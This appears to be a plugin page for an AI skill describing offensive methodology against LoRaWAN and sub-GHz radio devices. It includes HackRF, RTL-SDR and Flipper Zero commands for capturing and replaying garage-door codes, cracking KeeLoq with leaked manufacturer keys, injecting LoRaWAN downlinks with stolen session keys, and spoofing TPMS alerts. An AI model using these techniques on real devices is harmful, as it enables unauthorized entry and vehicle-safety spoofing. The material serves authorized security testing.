Stats
Actions
Tags
From cybersec-toolkit
LoRaWAN and sub-GHz attack methodology: ABP/OTAA join attack, key reuse, frame counter replay, downlink injection, protocol replay (KeeLoq, remotes, TPMS), HackRF/RTL-SDR/Flipper Zero workflows, signal analysis. For authorized research only.
How this skill is triggered — by the user, by Claude, or both
Slash command
/cybersec-toolkit:offensive-lorawan-sub-ghzThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
LoRaWAN provides long-range low-bitrate communication for IoT — common in smart cities, asset tracking, and industrial telemetry. Outside LoRaWAN, the 433 / 868 / 915 MHz ISM bands host garage doors, doorbells, smart plugs, weather stations, and TPMS — most with weak or no crypto.
LoRaWAN provides long-range low-bitrate communication for IoT — common in smart cities, asset tracking, and industrial telemetry. Outside LoRaWAN, the 433 / 868 / 915 MHz ISM bands host garage doors, doorbells, smart plugs, weather stations, and TPMS — most with weak or no crypto.
| Tool | Range | Use |
|---|---|---|
| RTL-SDR | RX only, 24 MHz–1.7 GHz | Cheap reconnaissance |
| HackRF One | RX/TX, 1 MHz–6 GHz | Full transceiver |
| Flipper Zero | RX/TX, sub-GHz | Quick replays, fixed-code attacks |
| LimeSDR / BladeRF | RX/TX, wider band | Higher fidelity for LoRaWAN |
| YARD Stick One | TX-focused sub-GHz | Targeted replays |
| LoRa-specific gateway (RAK / Heltec) | LoRaWAN dual-direction | Standards-compliant LoRaWAN testing |
LoRaWAN is a MAC layer over LoRa physical (chirp spread spectrum). Devices either:
# Capture LoRa packets with HackRF + Inspectrum
hackrf_transfer -r capture.iq -f 868000000 -s 1000000 -n 60000000
# Or LoRa-specific: rak_common_for_gateway
# Decode with PHY + MAC stack
git clone https://github.com/Lora-net/LoRaMac-node
# Or use ChirpStack as a sniffing gateway
The Join-Request and Join-Accept are encrypted with the device's AppKey. With AppKey (extracted from device firmware — see offensive-iot):
ABP devices have NwkSKey + AppSKey flashed at manufacture. Common flaws:
# If you have NwkSKey + AppSKey + DevAddr, decode/inject with lorawan-test-tools
git clone https://github.com/IoTsec/loraserver-attack-tools
python lora_inject.py --nwkskey <NWKS> --appskey <APPS> --devaddr <ADDR>
Older LoRaWAN 1.0.x doesn't enforce strict frame counter monotonicity in all stacks. Replay an uplink with a different timestamp → server processes as fresh.
If you control AppSKey + NwkSKey, you can inject downlinks (configuration changes, remote commands) to devices.
# RTL-SDR live monitor
rtl_433 -f 433.92M -A # auto-decode many devices
gqrx # interactive spectrum analyzer
# Flipper Zero Sub-GHz menu: Read → identify modulation → capture → save
# Then replay from the saved file
# HackRF capture
hackrf_transfer -r garage.iq -f 433920000 -s 8000000 -n 80000000
# Inspectrum to visualize, identify OOK / FSK, decode bits
KeeLoq uses a 32-bit block cipher with a manufacturer key. The manufacturer key was extracted publicly years ago for major brands. With it:
# rolling-code-tools (research)
git clone https://github.com/AndrewMohawk/RollingPwn
Modern KeeLoq deployments (last 5 years) have rotated manufacturer keys, but legacy hardware (older garage doors, some industrial equipment) is in scope.
Many cheap garage openers, doorbells, and smart plugs use fixed codes — the same packet every time you press the button. Capture once, replay forever.
# Flipper Zero: Read → Save → Send (from saved file)
# Or with RFCat:
python -c "import rflib; ..."
# OR with HackRF:
hackrf_transfer -t replay.iq -f 433920000 -s 8000000
Tire-pressure monitoring sensors broadcast at 315/433 MHz with no authentication. Spoof low-pressure alerts:
# Capture legitimate TPMS
rtl_433 -f 315M -F json | grep TPMS
# Synthesize crafted alerts (custom modulator with HackRF)
# Useful for testing TPMS-aware vehicle systems or as denial-of-trust attack
# Universal Radio Hacker (URH) — visual reverse engineering
urh
# Load .iq capture, identify modulation visually,
# auto-detect symbols, decode bits, identify packet structure
URH walks you from raw RF to a parsed protocol description, even with no docs.
# 1. Identify band + modulation
rtl_433 -f <freq> -A # auto-detect known protocols
gqrx # spectrum view to find activity
# 2. For LoRaWAN
# - Set up gateway (or HackRF + LoRa decoding)
# - Capture joins + uplinks
# - Extract keys from device firmware (see offensive-iot)
# 3. For proprietary sub-GHz
# - Capture with HackRF / RTL-SDR
# - Visualize / decode with Inspectrum or URH
# - Replay or craft
# 4. Document modulation, frequency, packet format, replay viability
npx claudepluginhub 26zl/cybersec-toolkit --plugin cybersec-toolkitAnalyzes Z-Wave smart home security: S0 key derivation flaw, S2 ECDH commissioning review, replay/injection on unauthenticated nodes, and hub pivots. For authorized security assessments of door locks, sensors, and garage controllers.
Detects and analyzes Bluetooth Low Energy (BLE) security attacks including sniffing, replay, GATT enumeration abuse, and MitM interception using Ubertooth One and nRF52840 sniffers.
Detects and analyzes BLE security attacks like sniffing, replay, GATT enumeration abuse, and MITM using Ubertooth One, nRF52840, bleak Python library, and crackle. For IoT device assessments and authorized pentesting.